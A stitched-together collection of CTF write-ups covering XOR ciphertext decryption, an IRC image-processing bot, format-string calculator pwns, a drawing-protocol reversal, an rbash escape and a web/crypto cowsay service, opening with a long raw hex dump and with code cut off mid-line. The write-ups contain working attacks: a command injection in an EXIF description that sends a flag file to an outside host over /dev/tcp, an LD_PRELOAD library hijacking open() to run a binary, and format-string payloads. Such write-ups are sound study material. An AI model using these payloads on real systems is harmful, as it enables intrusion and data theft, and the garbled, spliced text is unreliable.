84d343cdb0ef84700074c01aacdc423ce735b7219c5b9b2d7dbd3e0a03fd88cca0534ca47c59fbf9279d238f4687be8ce97c15ae2bc2067272595c33ba334333d25b5fb4d499de42c7b4f0c8604f7fcc18a7c05e20e270b66e9b46d81c5d33fb8d48354ac36aa7381605fd80dbe57750f07552a9fa2f9f3cca54c9a39ef03124b229c401267752523bbb2e022cd25045f9c7d6fe42d7b6f4847b0077d108bfd04c2df167b66e9b42d516413ffca3241a15e68dc1b14951e3344be8f42595329815caa29cef6845a422d4133c6d55553df51b4d34c95049edd499d20dd6b0f3c7701a6acd5ba2c64128fa71a03cc940d3124229eaa0340a11f889daa0441fc77b4ee7f22295229915e3ac89fa7e12e704d4133c77525e7aa2385135de4c42f1d4d6cf43d1b7fecd7d083ac60ea9d00d3de674b32f804f9b0f4836ee8d4a3756c37dbd38140ae784c3ae454ca46259e7fe3c993a8b5b87b492ec6245a43cde0121714a5e28f5385a22d74b48fdc8919c44caa1eec5661b7fc612a5d00d2ae674ab258a42c8185eb5291000e19fd6ac565aea714ffab72a993a855bc8a194ef7800b46ed51b216c59482ab03e5627ce5240ed8690d044d4a5f9d6604f69c30ea5d20d28fd71a06e9942c80e4435e18bb3240a13f582d6b6004fe17554ecf93ddc249a54d5a495ef7d1ce728d0043d6b4e522ebc2e4f61cb5f5efbca93d80dd7bcf8c171007bc61febd4443bf267a0278e4bcf5d5f3fed974d3857c869b33e140dfd89d0ac454ca47045fae73c93248340caed88e96406a26ed0073677534d33a628432dc81e44f1d5d6cc42cab6f5ca744f7fda08bed05e69f974ae2b9b509b0f423dfa9d57b33e1511f59ec3a74c46a4735dfdf83c8f778c50d2a992e67645be27d41e366d1c5e2ba03c4028d75758ed869bd340c9acbcd4610669db15aec70d2ae660a0228746c80e0d28ea8b4d305bc87aa4261115f78482b4555af7601ceffb3b8e258350c3ed89e9650ca820d01e3b6d481b2aba2e5625d45d0cf5c587c944d0a1fdc8604f74db15aad65920e270e5218851c80a4237ea9692300c09e784c7a7411ff67159e7e32b8e778f47d5ac95ec6245a522de1d366d54542ef5284c29da4a4ffcc3929c5ed0b4e8cd7c0177d508bfd05f69f577b0208d42d51e4829b33e0d0fe089d0a84553eb7055ece46eb0329c5cc9a8dbe97206a23dc21b3d7055553df53c4034d55a4dfad29ac50dc2a7f9c77803639414a9d3583af774b12bc94ad5094828f9914123a230110ff98dc9ac4e58a46454e6e32199398d47c6bb92e67645aa21c51d207d455836b0390233de5a45e7d284d54fd1a1f9d733397fc70baac64428fa35b6228044d309433ffc8b80300a00f780c7b1451fed7059e6fb219b3e8954cbed9fe17f11e722d81137704f5e3ef53f4e24c84d49f08685d042d0f5f4c57f0a699409aec45820e77cb127864d9b194829e69b47354acf6171b33e0818fd9fd6b6004cf1784ce1e23cdc269f50c2bf88a87d0cb73dc51b31751c482ea7324c26d7470cf7c782df4584a6fdc8661b7bc014b9dc4c27e7358d219c50cf1243a03e1408e085c1aa531fc77d52edf23c993b8654d4ed9cfa7816ab3791241e581c693bb7384e20d24d45f5c8d6db42c2b0eed7330273c708bbda462cfa35a6218740d7085e33f99d482db73d1712e789d1e54350ea795de7b7219e248f47d1ac95fc7d1ce71dd01c267b4e523bf53b432fd85749f08686d341cdb6f5c1604f6fda1caadc4325fd7ba03d9a03d612492fe399503d51c87da234190dfa89d1b60053e1735de5fe3495398d15c2b58bed7f16ae38d41e2b3e525a29b4314b3bd2504bb4ee93d543def5f9d27a0179d15b9df10d3bf162a43c8d4ad51a0d2fe18b4a354cca6b7bb1340a0ef685c1b6004fe5604ee6f93ddc368956cba496e9650ca92991143e7f575e3ef53a4d2fde4c0cf5ca949c7ec1a7ecc17d1c3af117aadb423bb474b63a9b4ad51a4834fb945dbc380b15f889d1b6004ceb614eece56e8f278547d3be98e96211a23c9100377d494b3fa73c5628d5590cf0c984d548d7f5efc7610e6dda12a5d05e3ab477a43c8050cf1c0d3beb92513057c56f6b3bd3b1231f14f989ccb1004de17255e7f23c8f778e50d3a898fc780ba06ed91d2070451b36b43e4b2fdc1e5ef1d199ca48caf5f4c57f036fd712a5da4a2cfa35a33c8853cb180d37ee9f4127b4380b03f180cba0565af6345ae5f8299b32984687b98ee67403b22291013b7349572eb4334728cf470ce1c89edd41c8baebc1774f75d70faac34269e070a92b9f4ac8185ea3381c04f59ecfb60072ed674fe0e43d9d228d5487bd89e77b00a43a911322775d4923f53e4331cf5f45fac3929c45cbb8f3ca6a023adc1ab9d04120e465a02ac946c30d4c34fc914b3a4dbd301b09fd82c3b1454ca4755be5fe3a88329815c0b895a86300a620d01e2b6d59487ab73c4028de5a0ce0c998d95e84b9f3c2670674d35ba8c05f28f679a06e8851d8164434e8bc3e170af18882b7495cec345eecf63a9925ca56c8b897ec3107b521d016213e485e29a13447339b5b5de1cf80dd41c1bbe8d7331d7fde0ebdd04328e070a16e884dcf1849b4380e08fa89d1b1005cec7b5fe2e46e9d308d47c6bb9afc780aa93d91133e72554f3fa73c5628d5590cfbd682d540cda6f9847e0e68dd15aec70d3af163a03c804ddc5d5d29f69b4c3b5ad46f723fbe380008fa8b82a15250ea7158a9fe2990388515f3bf9efe780ba86ec3173670595831a67d412ed65345e0d293d940c5bbbcd772097fc002ebc5483be274a12b9a03d9114235eb9441274db33e160be19ecbab471ff77c5dfbf22d8e389a45c2bf88a84504a02fdd1d353e5d4938bc295020cf5742f3869fd259c1a7f0cd7d0674d35bacd05f24fd76ac2a8c03f3184f3fa3211408fa98c7b7531ff46653eee52b8f248343c2ed8be7630be73ede05367b4e1b2aa7324c26d3515efa8683d25fc1b8f9c9710a68d11febf7423cf870bf6ea242dd164cbe240c15edccc1aa545af67d59a9f12f9f3e865cd3ac8fed3126a83bc3063c7b451b2eb43a4e28da4a49f8ca939c4ed6bae9d46a4f7bc40baec75928fd7be5298c46c8180d39ee8d483d58ca61683bc583300d0ff089d0b60058eb615becf36e9e22865ccaa498a86215a222dd1b3c791c5835bb3b4733c95b5ee78694dd41c8acf4cb7c1c3ad914bec14569e770ab3a9b5a9b1c5f39e799413b52c969763dd61a97241707f182c5e54d5aea7d52eef22f90778940d5be94fa3101a238d8133c7d591b2db42f4729d44b5ff18693d259d3bcf2c133027bc61ca2db4c25fd66a02ac94fda0f5b3beaa7231d02ff89d0e5554ded7a59a9e72f8e238450d5a89fa8770ab52bd31d3677525c7a98384e31d45349fac3d6db5fdda5f4cb7d1c3ad50debc15824fd71e50d8851ce0e42b6300d19b48bd0ac534be97d50e5e46e88368452c8ed92e67500a53ad4163c7b4f487ab0344624c94d0cf5d492c942d1a6f0dd331b7fc70fa2d35420fa72e5228850cf14433de381b7380a15fcccccb0524bf16659fbe46e9f36895dc2b988a87808b722d41f377048487ab6325424c95249e08690d358c8b4eec033016fd717aec05e2ce735a73b9b46da084e28ee8cb33d1715e089c6e5614bec7152e8b72d9d25875cc9a888a87700a43bdf16336a591b1cb9244c2f9b5d44fdca92d144cab1f5ca744f78cd01aadb5920fa70e5388c44da130d2afd9d40354acf6078a3250a08e49ccbab471fd77550a9f62a96328941cebb9efb3100a93ac3133c6a1c5823b7385023ce5240ed8695d359c1f5ecc1770a69c009a2d44320ee70b66e8a4adc1c5fa0340a17f59fcbb34553fd3459fffe228f77825acba99ae47d459521db13213e5e4e38b73147329b595efdc892cf59cbbbf98470006fd713a2db4a69e27cb62b8d03d91c5f34fc8c4b2653c37c6cb13d1f0ee685d6ad4d1ff46152eef22088779f5bc3a889eb7e04b327df15213e515e3eb1314761c95b47fdc892d048d7f5f4cb661c7fc31ab9d05e69d274b73d8003f9184136e6964dbe3e1614e789d0e5525ae97d44e0f929dc1b8547cea8dbe77313ae21c401726d485e3fa5314722d35f5ff186a1dd41cfb0ee847c037f9430aad75825b476a4209d42d5164828e08d57b4231103f680c7a10058e5704fa9f32b8f348f5bc3ac95fc6245a426d01b206953563bbb7d5120d55a4ef8c785c848d6a6bcc0761c6ad512b9954530e47ab1268c50d20e48b23d1902ff84c7a4441fe97d4fece52285778947c6ae90fd6145a236d21b267b4f1b3ca0295824c81e5ffcc986cf0dc5b1eac17d1b6fc61eb8956c3bfd7ab63a8603d1124534e1914127a03e0b04b49fc1b7455ae77c59fab729903e9e56cfa495ef3116b337dc1b377a1c5835bb29432cd2504de0c3d6de48cab0fac5701b75c65b8ddc4327b462a02f8246d51849b4341915fc98d0a4504ca47955fafe2a99399e5cc1b4dbc57017aa2fc3137277524f3fa7374722cf5743fa86a0d55bcdb4f28474007ed01aa6db482db467a0388050d2124333fc8c57b33e1612e09ecba65456ea731cfcf93c99269f5cd3a89fa8770ab52cd8163677525c7aa5324e38dc5f41fdd5829c6eccb4ecd17f1b7fc41ea8955e39fd67ac3a9c42d71154b93c1a00f88dcca6455ba47255fbf22c8930ca78c6b49afb3117a228d81c3b6d545e29f52d502ecf4c4df7d293d80dd0b4e4cd770a68d902ebd44923e171ac2d8857d2124329a53f1a13f18dc9a44253e13471e0f33999249e15d0a289e37417e73cc41f7277524f3fa7370225d44d5ffdc384cf0dc1adecc87c1d7fc65bacd45f2efb6ca92b9a03de055d2fe19f4d3a59a4231103f19fcfa04e1fee7b48fdf23cdc348547cabedbfb6600a63ac252336a454b33b63c4e61df575fe0d497c94acca1bcd6761c6ad117a7d04969e17ba626884ddc184c38e39db2231902f19f82a45256f07c51ece3279f779850cea38fed7617a63ad81d3c3e4f5328bc314e24df1e4af8c984d55ed0a6bcd076176edd15ac954b3cfa7ba0228546df5d4a28ee96402751c87db32b1913e7ccd1a45251ed714fa9f63e8c24ca5fd2a38fe93121a620d8173e3e5d573bb6360232d55f58f7ce93cf0dd7a0fac27a0c7f9429a4d84c27e77de52d9b46df120d3dfd91403052c3b7341614e789d1e54c5eea704fe5fe3edc338f51d2ae8fe17f02e720c41f376c55583bb97d4c24da5048f1d482d44cc8a6bcf37a0371dd15b8954427e77ca2269d509b0e453bfb8c412657c869b7341614fd82c7e54456eb7059a9e5278f3cca47c8a296e57011a23d911c37694f5a3db0335661dc5b5fe0c782d543c3f5d1ed474f6fda13aed45f2db47baa388c4fd20e483e8330140dfd8982b54c5ae07359a9f83899259c54cbb89eec3113ae3dc4133e77465e7ab9344c24da5949b4c493cf48c1b8f9c033276fd817ebdd4c2afd70ab2a88509b18473bec8d48354ac97c66b4341408f384d6a04453fd344be0fb28893b864c87a883f87011b46ef31b287b481b18b0334725d25d58fdc893cf0dc5b6e8d1720373ce1abfdc4227b44fb6278e4ed4134923ba3e1304e69f828e414de5795df3f838dc2e8547c2ed89fd7c15ab2bd55231714a5e23f5314322de4c4de0c3929c5accb0f2d77c0a6cd109ebf6422ff270bc6eaa4fda085e3ff891502e92380b09fb9c82a8554bed7a59ece53ddc198356cfa297ed3110b73cd413206d1c4b36b43e4333df1e4df5ced6c84cc7a1f5c77a0e74c75ba6d05e3ab47fb020825ada0f499c34190ffa8d82844e5be1664fe6f96e8d228350d3ed9ce97703a23d91013e77525c7ab8324c26de5b5ff1869bd35fd0b2fdc3761c3ad714a8da4c69f070a9278b46c91c5933e09657a0300c13fd83d6ac5352a46049fbf5219a368415c0a495ef7417ae20d6523667595f7aa22f4732cf5249e68685df4ccab1f5d17e4f6dd50faec74126f372a02ac947d40a432efa8a4a27b2301b09f180cdb7005be1775df9fe3a9d238f15f7b495eb790aa96ec202377d555d33b62e0225de585efbc59dd94984b6f3d17d1b7fc61eaf954b20e670b73dc944de13583ce39d472057c869b3230d0ce480c7a1007ce87d5efce520dc3f8b46d3a8dbeb7e0ba42bc31c377a1c573bbb385161e95141e1ca83cf0dd0b0ffcc7d003ac70fa4c74822f170b52b9b509b195f35fa9f4c20a53f0a04f580cbb65456e77550e5ee6e99399940d5a495ef3106ab2fdc1d276c55553df5334335ce4c4df8cf85d90dc0b0eac5601b7bc012a4db0d25f560ab2d8146c85d5b3fe197493b4bd56266b6300c41e780cda0531fd76152edf62099248f15d3a59eff3115a23cd80131714c5e7aa033402ed74a0ce7d284d959c7bdf1c56104699412a5d3583af166e53d8a42c9184035e19f41264db2240a0df19fd3b0454ca47955fafa2f88348250c3ed9ffd6700b36ec317386b585c3fa67d572dce524de0cf99d25e84b7eecd621a7fc05ba8c7423ae765ac2b8a46c85d403fe3914b265fd267693ba0380a0ee189d6b14951e3344cfbf22489338356ceac97a87d0cb33add17726f495e3ba6344c24c84d0cd7c99ad34acab0bcc77c1d71c718b9d05a20fa72e53b8740d31c433dea9946385b9c380b03fb8282a44e51ed7c55e5f63a93259915c2a38ded7f0aaa27df15726d4b5a36b9325535da5740b4ca99df4cd0b0f884770077d108bfdc4e28e070a16e8f54df5d483bfb914a33b63d0d02e099c3b1455ba47650e6f42594389f46c2bedbc57809ab3d91053b6855553df5325424c94c59f8cf98db0dd7b0f1c57d1b73d708ebf05e3df577a9279a4bd618432eb33e1e07fd82d1e5435af7754eecf6208f77895cc9a39aea7017e73ac3133c6d5a5222b0390223d44b42e0cf90c941cab0efd733187bd710ebd64c3bf77cab218442cf1c0d3eea9b413d48c3a03e1418fc89c6b74f51f7345fe1e521913e845287a99ee57816a22a91113d73514e34bc3e4335d25142b4c49ad540d4bcefcc330d6fd817a3d04c2df171a937c94eda0442a2341b0efa82cdac544de1671cecf63d95398f46d4ed99e17602ae2b9100377f50522ebc385161df575ff8cf9dd543c3f5f8d67c1f75c10fb8956528e374ac27884d9b094420f5bc341711f59ec6a0534ca47144f9fb279f369e5cc8a3dbdb740ca92b91163773555733a13c5028c15742f3869ad94ccfacbcd7640674d15baac24c3bf07cab29c950ce104c39e789241f0eb481c3b1554de17845a9f33c95218f5987ac95fc7815a63ad91726775f1b33bb345628da5245eec3929c4fc1a6ecc172043ac009a2c14825ed35aa388c51d812403ffcb2240a0ffd9fcaa0441ff0614ef9fe3a89338f15d4a883fc7e0bb46ed4133572594f29f53e4d2cd65f42f0c384cf0df7b0e884700776db09afd4432cb467a0278755d21a4228ee8c41b4230141f983d6ad454de87d52ece43ddc1e8451ceac95fb3106a63cd213216d1c5f33b13a4733d25a43fb8691dd41d1b8eccc7a017d9437bed64428b471a02d8050d2124329``` To fit with the theme of XORing key overtop of plaintext, I took out some old code I used to solve [one of the cryptopals challenges](http://cryptopals.com/sets/3/challenges/20) and re-purposed it to decrypt each line of ciphertext. With all of these decrypted, a simple search found that the flag was included in one of them. ## Solution Full code for the description above is below: ```pythonimport requestsimport binasciiimport reimport sys def xor(s1,s2,is_hex=True): if len(s1) != len(s2): return if is_hex: s1 = binascii.unhexlify(s1) s2 = binascii.unhexlify(s2) s3 = bytes([s1[i]^s2[i] for i in range(len(s1))]) if is_hex: s3 = binascii.hexlify(s3) return s3 def get_warning(text): arr = [] pat = re.compile('(.*?)') for match in re.finditer(pat,text): arr.append(match.group(1)) #print(match.group(1)) return arr (.*?) FREQCT = Nonedef generate_freqct(): global FREQCT if FREQCT is not None: return FREQCT freqct = { 'e':21912, 't':16587, 'a':14810, 'o':14003, 'i':13318, 'n':12666, 's':11450, 'r':10977, 'h':10795, 'd':7874, 'l':7253, 'u':5246, 'c':4943, 'm':4761, 'f':4200, 'y':3853, 'w':3819, 'g':3693, 'p':3316, 'b':2715, 'v':2019, 'k':1257, 'x':315, 'q':205, 'j':188, 'z':128, ' ':40000, '.':4000, } for ch in 'abcdefghijklmnopqrstuvwxyz': freqct[ch.upper()] = freqct[ch] _freqct = {} for ch in range(256): if chr(ch) not in freqct: _freqct[ch] = 1 else: _freqct[ch] = freqct[chr(ch)] freqct = _freqct s = sum(freqct.values()) freqct = dict((ch,256.*freqct[ch]/s) for ch in freqct) FREQCT = freqct return freqct def score_ascii(st): freqct = generate_freqct() score = 1. for ch in st: score = score * freqct[ch] return score def key_solver(ciphertexts): ciphertexts = [binascii.unhexlify(ct) for ct in ciphertexts] key_solve = [] for pos in range(max(len(ct) for ct in ciphertexts)): max_score = 0 ans = None for k in range(256): plain_chars = [ct[pos]^k for ct in ciphertexts if len(ct) > pos] sc = score_ascii(plain_chars) if sc > max_score: max_score = sc ans = k key_solve.append(ans) key_solve = bytes(key_solve) for ct in ciphertexts: print(xor(key_solve[:len(ct)],ct,is_hex=False)) print(key_solve) print(len(key_solve)) return key_solve if __name__ == '__main__': sess_id = 'e161495ca4ca93f51202b6320db9a473cc71db0593f0caae2753f1738154276d594967b2284732cf184df0cb9fd21094f3f5c02e5f2b8148fd8d497da020a47ddd108a184f6bb9cb13370ac33a2d6e8e450d4e60' sess_id_bin = binascii.unhexlify(sess_id) #''' # flip each bit in the session id for i in range(len(sess_id_bin)): for j in range(8): _new_bin = sess_id_bin[:i] + bytes([sess_id_bin[i]^(1<
# Santa's little recorders - Net/pwn (200) This year for secret Santa, Santa's elves are making a photo-album for Ms. Claus, featuring some of the millions of selfies her husband makes on the north pole. To help with the effort, they have created some automated processing to sort through the images. Service: #santas_little_recorders on irc.overthewire.org ## Initial review The description for this problem didn't give much to go on aside from the fact that this challenge would involve some sort of image processing. I headed over to the IRC channel and after a couple technical issues I started messaging one of the `SantaRecorder-###` bots. Any message will prompt you to send a message with a URL: ```Hi there. Try '!record <url>' in private message``` After a lot of trial and error I found that the bot wanted an image with special metadata tags. After searching around a bit I landed on using the Linux [exiftool](https://en.wikipedia.org/wiki/ExifTool) for inserting tags into JPG images. A lot of trial and error showed that the server was parsing out latitude, longitude, altitude, and finally a description field. A short snippet of the trial and error with various error messages is below. ![Santas Recorder on IRC](./images/santarecorder.png) Finally, after getting all of the other metadata into the image, I got to the `ImageDescription` which had the heart of the problem. This field seemingly needed the string "Santa" in it, but did allow some special characters. Notably, it allowed `;` and `'` which meant that there might be a way to inject shell commands. A lot of trial and error later I finally landed on a rather simple command injection using the [bash redirection trick described here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet). Setting up my own netcat listener this let me receive the flag after sending a crafted message. The final two commands are below: ```$ exiftool -XMP:GPSLatitude=90.0 -XMP:GPSLongitude=0.0 -GPSLatitude=90.0 -GPSLongitude=0.0 -GPSLongitudeRef="East" -GPSLatitudeRef="North" -GPSAltitude=0.0 -GPSAltitudeRef="above" -ImageDescription="Santa ; /bin/bash -c 'cat /opt/flag > /dev/tcp/myipaddress/8081'" elf.jpg 1 image files updated$ nc -nvlp 8081listening on [any] 8081 ...connect .. from (UNKNOWN) .. 52496AOTW{A_mighty_duckface_on_this_one}$ ```
# __X-MAS CTF 2018__## _The Calculator_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Pwn | 495 | a1exdandy **Description:** >Here is some strange calculator that is used by Elves, but it seems very poorly implemented. Could you take a look if it is secure?>>Download [chall](files/part1/chall)>>Running on: nc 199.247.6.180 10008>>Author: littlewho ## Solution We have the binary with the format-string vulnerability, but input is restricted for only `%n` and modifications (`%N$n`, `%N$hn` and so on for an integer `N`).Also, we have a calculator that can perform `+`, `-`, `<`, `=`, `>`, `#` (put value into `register1`), `$` (put value into `register2`), `@` (get value from `register2`), `!` (get value from `register1`) operations. The result of the expression can be distinguished if only it equals `0` or `1`. (`Santa hates those big numbers...`).We can put some complex expressions, e.g. `1 + 2 + 3 + 4`, and all intermediate calculations will be on a stack after that.Also, `register2` contains a buffer address at the startup. So, we can put a non-zero value into `buffer[31]` to leak the flag. Final solution is: ```@+31 %9$hhnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa``` ![solution](images/part1.png) ## _The Calculator 2.0_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Pwn | 497 | a1exdandy **Description:** >I know you pwned it last time, but it was too easy. Could you give it another shot?>>Download [chall](files/part2/chall)>>Running on: nc 199.247.6.180 10009>>Author: littlewho ## Solution Now, we can't use `register2` in our calculations. But we can comapre it with `<`, `=`, `>`, so, with the binary search we can find the buffer address and then use the same method as in the first part. But we can't use 64-bit register directly. So, first of all, we load a constant part of the 64-bit buffer address into `register1`, then compare `register2` with `register1` + `some interesting value`. To put the constant part of the buffer address into register I use the next expressions:```2147221504 + 2147221504 #!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#``` After this expressions we have `0x7ffc00000000` inside of `register1`. Then we check if `register2` in the bound `[register1 + 0, register2 + MAX_INT]` and if it's true, we can find the buffer address with the binary search (let's it be `X`). After that, to put a non-zero value into buffer[31], we can use `!+X+31 %%10$hhn` [Final solution](files/satanic_calculator_pt2.py) >Ave Satani! <3
## Understanding the protocol The first job was taking a look at the provided information. The added file boxy.txt is not particularly helpful in this regard (looked quite Chineese to me, my brother who happens to speak Chinese insisted it isn't). So I directly moved on to the examples provided and luckily they were extremely helpful. The first image(0x00.bin) consisted of only 8 bytes and only painted a white square. The second example was a little harder to understand at first, because it comes with only one binary and multiple output files, that show squares in different colors. `01 FF 02 FF 03 00 FF 00 03 01 FF 00 03 02 FF 00 03 03 FF 00 03 04 FF 00 03 05 FF 00 03 06 FF 00 03 07 FF 00` The first thing to notice is the fact that the first bytes are equal to (0x00.bin) and afterwards the sequence `03 0X FF 00` repeats 7 times, which corresponds with the number of available output pictures. Based on this we can start to make some assumptions: 1. The byte sequence `00 FF` seems to be some kind of terminator between different commands. 2. The byte sequence `03 0X` seems to indicate a color change with possible values for X between 00 and 07. 3. The bytes seem come in pairs, with the first byte as a key and thnue second byte being the value. The next example (0x02.bin) shows us how multiple different rectangles are drawn: `01 80 02 80 03 00 FF 00 04 80 05 80 FF 00 03 01 04 00 05 80 FF 00 04 80 05 00 FF 00` We notice that the values for 01 and 02 have halved from 0xFF to 0x80. And we see two new keys, 0x04 and 0x05, which change between the different rectangles. The key 03 only changes once (from white to black). Based on that observation we can draw the following conclusions: 1. The keys 01 and 02 determine the size of the rectangle.1. The key 03 determines the color of the rectangle1. The keys 04 and 05 determine the position of the rectangle1. Each occurance of `FF 00` indicates that one rectangle is finished and a new one begins. 1. Every key that is not set, retains the value from the previous rectangle. The final example now draws 4 differently colored rectangles on a white square: `01 FF 02 FF 03 00 FF 00 01 08 02 10 04 58 05 58 03 02 07 40 FF 00 03 03 09 40 FF 00 03 04 06 40 FF 00 03 05 08 40 FF 00` We get four new additional keys, that can be used to shift a rectangle away from the position specified by the values in 04 and 05. 1. Key 06 decreases the value of 04 by its value. 1. Key 07 increases the value of 04 by its value.1. Key 08 decreases the value of 05 by its value.1. Key 09 increases the value of 05 by its value. And with that information the protocol has been reversed... ## Getting the flag With this information you should be able to implement a program which prints the image described in the reverseme binary. I personally choose Java Swing (but that is only because of a traumatic university assignment that left me far too familiar with this technology, it is certainly not a recommendation). As soon as you get that working you have an image which contains a sequence of dots and dashes, which should immediately make you think of Morse Code. ![Example for how reversed image should look like](https://www.sigflag.at/assets/posts/boxy/MorseCode.jpeg) If we decode every 5 character sequence correctly the morse code transforms into a sequence of decimal numbers. If you throw these numbers into a decimal to ascii converter you receive the flag.
# Claustrophobic - Pwn/misc (250) Santa is stuck in a chimney and needs your help to escape Service: ssh -p 1218 [email protected] (password: ClausTrophobic) ## Survey Connecting to the server, you're presented with a restricted bash shell. Many commands you'd normally use (like `cd`, `cp`, etc) are restricted or unavailable. You're dropped into the home directory for the user and there is an executable file `print_flag` in your current directory so the solution to this challenge is obviously to execute this file. Unfortunately, the only file in your `$PATH` which you can execute from is `/home/claus/bin`. ```bashclaus@1218_claustrophobic:/home/claus$ ls -ltotal 20drwxr-xr-x 1 root root 4096 Dec 18 11:53 bin--wx--x--x 1 root root 14368 Dec 18 07:33 print_flagclaus@1218_claustrophobic:/home/claus$ ./print_flag rbash: ./print_flag: restricted: cannot specify `/' in command namesclaus@1218_claustrophobic:/home/claus$ /home/claus/print_flag rbash: /home/claus/print_flag: restricted: cannot specify `/' in command namesclaus@1218_claustrophobic:/home/claus$ print_flagrbash: print_flag: command not foundclaus@1218_claustrophobic:/home/claus$ echo $PATH/home/claus/binclaus@1218_claustrophobic:/home/claus$ ls -l $PATH total 0lrwxrwxrwx 1 root root 15 Dec 18 11:53 base64 -> /usr/bin/base64lrwxrwxrwx 1 root root 8 Dec 18 11:53 cat -> /bin/catlrwxrwxrwx 1 root root 7 Dec 18 11:53 dd -> /bin/ddlrwxrwxrwx 1 root root 11 Dec 18 11:53 id -> /usr/bin/idlrwxrwxrwx 1 root root 7 Dec 18 11:53 ls -> /bin/lslrwxrwxrwx 1 root root 8 Dec 18 11:53 pwd -> /bin/pwdlrwxrwxrwx 1 root root 15 Dec 18 11:53 whoami -> /usr/bin/whoami``` ## Writing Files After poking around a while, we find that its possible to write files using `echo` or `base64` and `dd`. A couple examples are shown below. ```bashclaus@1218_claustrophobic:/home/claus$ echo 'aaaa' | dd of=aaa.dat0+1 records in0+1 records out5 bytes copied, 5.6838e-05 s, 88.0 kB/sclaus@1218_claustrophobic:/home/claus$ cat aaa.dat aaaaclaus@1218_claustrophobic:/home/claus$ base64 -d | dd of=bbb.datYmJiCg==0+1 records in0+1 records out4 bytes copied, 4.29101 s, 0.0 kB/sclaus@1218_claustrophobic:/home/claus$ cat bbb.dat bbbclaus@1218_claustrophobic:/home/claus$ ``` ## Arbitrary Executing The final trick for this challenge is to leverage the file write into arbitrary execution using `LD_PRELOAD`. There are a couple examples you can find on the internet, but I chose to take craft a shared library which overwrote the `open` libc function. In the new shared object I simply have my `open` execute the `print_flag` file as shown below. ```bashjohn@john-virtual-machine:~$ cat inspect_open.c #define _GNU_SOURCE#include <dlfcn.h>#include <stdio.h>#include <unistd.h> typedef int (*orig_open_f_type)(const char *pathname, int flags); int open(const char *pathname, int flags, ...){ /* Some evil injected code goes here. */ printf("The victim used open(...) to access '%s'!!!\n",pathname); //remember to include stdio.h! execl("/home/claus/print_flag", "print_flag", (char*)0); orig_open_f_type orig_open; orig_open = (orig_open_f_type)dlsym(RTLD_NEXT,"open"); return orig_open(pathname,flags);}john@john-virtual-machine:~$ gcc -shared -fPIC inspect_open.c -o inspect_open.so -ldljohn@john-virtual-machine:~$ base64 inspect_open.so f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA8AUAAAAAAABAAAAAAAAAAEgYAAAAAAAAAAAAAEAAOAAHAEAAHAAbAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlAgAAAAAAACUCAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAAA4AgAAAAAAAEACAAAAAAAAAAAgAAAAAAACAAAABgAAABAOAAAAAAAAEA4gAAAAAAAQDiAAAAAAANABAAAAAAAA0AEAAAAAAAAIAAAA...``` Then on the target service I wrote the shared object as shown previously and load it into `cat` which attempts to open a file. Once the new `open` function executes it calls `print_flag` which shows the flag. ```bashclaus@1218_claustrophobic:/home/claus$ base64 -d | dd of=inspect_open.sof0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA8AUAAAAAAABAAAAAAAAAAEgYAAAAAAAAAAAAAEAAOAAHAEAAHAAbAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlAgAAAAAAACUCAAAAAAAAAAAIAAAAAAAAQAAAAYAAAAADgAAAAAAAAAOIAAAAAAAAA4gAAAAAAA4AgAAAAAAAEACAAAAAAAAAAAgAAAAAAACAAAABgAAABAOAAAAAAAAEA4gAAAAAAAQDiAAAAAAANABAAAAAAAA0AEAAAAAAAAIAAAAAAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA...AAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAGgQAAAAAAAAKAUAAAAAAAAaAAAAKgAAAAgAAAAAAAAAGAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAAAAAAAAAAAACQFQAAAAAAAMQBAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAEQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAVBcAAAAAAADxAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==15+1 records in15+1 records out8008 bytes (8.0 kB, 7.8 KiB) copied, 15.0314 s, 0.5 kB/sclaus@1218_claustrophobic:/home/claus$ LD_PRELOAD=/home/claus/inspect_open.so cat .bashrcThe victim used open(...) to access '.bashrc'!!!AOTW{pr0c_s3lf_m3m3s}AOTW{pr0c_s3lf_m3m3s}```
# Cryptocow - Web/crypto (200) The cryptocow says Moo! Service: http://18.205.93.120:1216 ## Problem Triage Cryptocow serves up a web page with a single text box in a form. Putting in any text redirects you to a new page with the ASCII art for the [Linux cowsay utility](https://linux.die.net/man/1/cowsay). ![Cowsay 'Moo!'](./images/cowsay_moo.png) Some of my immediate observations: * Each submission redirects to you a page formatted as http://18.205.93.120:1216/HEXDATA1/HEXDATA2* Identical submissions create identical redirects (no randomness)* There's no obvious escapes or command injection (quote, semicolon, etc.)* Altering HEXDATA2 randomly gives the error code "Message Authentication Code does not match plain text."* Altering HEXDATA1 randomly (but keeping it the same size) gives the same error above or "Invalid padding"* More text makes larger HEXDATA1 and this is always a multiple of 32* More text does not change the length of HEXDATA2 and it is always 40 Given all this and the type of problem (web/crypto), I conclude that * HEXDATA1 is the input text, encrypted in blocks of 128 bits.* HEXDATA1 is padded with some standard padding (likely [PKCS5](https://en.wikipedia.org/wiki/Padding_(cryptography))).* HEXDATA2 is a MAC, likely a SHA1 hash given the size of 160 bits.* Further testing of long repeating strings gives repeated blocks in HEXDATA1 so the cipher mode is likely [ECB](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_(ECB)).* The error code for HEXDATA2 suggests that the MAC is not an HMAC, which means that the solution could involve a [hash length extension attack](https://en.wikipedia.org/wiki/Length_extension_attack).* Given the escaping, the solution also probably involves crafting amessage which defeats whatever that escaping is. With this all in mind I 